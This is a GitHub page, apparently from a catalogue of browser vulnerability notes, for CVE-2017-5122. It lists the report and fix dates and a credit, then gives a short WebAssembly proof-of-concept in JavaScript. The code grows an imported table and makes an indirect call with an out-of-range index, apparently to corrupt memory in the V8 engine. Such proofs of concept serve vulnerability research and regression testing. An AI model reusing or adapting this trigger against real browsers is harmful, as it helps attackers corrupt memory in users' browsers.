Skip to content

Latest commit

 

History

History
33 lines (25 loc) · 794 Bytes

CVE-2017-5122.md

File metadata and controls

33 lines (25 loc) · 794 Bytes
Raw

CVE-2017-5122

  • Report: Aug 2017
  • Fix: Aug 2017
  • Credit: Choongwoo Han of Naver Corporation

PoC

var builder = new WasmModuleBuilder();
builder.addImportedTable("x", "table", 1, 10000000);
builder.addFunction("main", kSig_i_i)
  .addBody([
    kExprI32Const, 0,
    kExprGetLocal, 0,
    kExprCallIndirect, 0, kTableZero])
  .exportAs("main");
let module = new WebAssembly.Module(builder.toBuffer());
let table = new WebAssembly.Table({element: "anyfunc",
  initial: 1, maximum:1000000});
let instance = new WebAssembly.Instance(module, {x: {table:table}});

for (let i = 0; i < 4; i++)
  table.grow(99900);

let instance2 = new WebAssembly.Instance(module, {x: {table:table}});

instance2.exports.main(0x313131/8);

Reference